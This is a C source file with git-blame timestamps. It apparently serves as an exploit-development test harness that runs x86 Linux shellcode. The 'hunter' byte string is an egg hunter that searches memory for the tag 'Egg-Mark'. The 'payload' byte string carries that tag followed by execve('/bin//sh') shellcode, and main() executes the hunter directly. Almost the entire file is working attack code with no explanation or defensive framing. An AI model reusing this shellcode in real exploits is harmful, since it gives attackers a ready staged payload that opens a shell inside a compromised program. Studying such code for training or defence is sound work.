2013-03-28 12:20:50 +00:00
|
|
|
#include <stdio.h>
|
|
|
|
#include <string.h>
|
|
|
|
|
2013-05-02 19:39:02 +00:00
|
|
|
unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\xfc\x31\xd2\x39\xf2\x74\x2b\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x04\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\xb8\x45\x67\x67\x2d\x89\xd7\xaf\x75\xe7\xb8\x4d\x61\x72\x6b\x8d\x7a\x04\xaf\x75\xdc\xff\xe7\x9d\x61\x89\xec\x5d\xc3";
|
2013-03-28 12:20:50 +00:00
|
|
|
|
|
|
|
unsigned char garbage1[] = "Just some garbage here...";
|
|
|
|
|
2013-05-02 19:39:02 +00:00
|
|
|
unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
|
2013-03-28 12:20:50 +00:00
|
|
|
|
|
|
|
unsigned char garbage2[] = "And some garbage there...";
|
|
|
|
|
|
|
|
main()
|
|
|
|
{
|
|
|
|
printf("Hunter Length: %d\n", strlen(hunter));
|
|
|
|
printf("Payload Length: %d\n", strlen(payload));
|
|
|
|
int (*ret)() = (int(*)())hunter;
|
|
|
|
ret();
|
|
|
|
|
|
|
|
printf("NO LOOP!\n");
|
|
|
|
}
|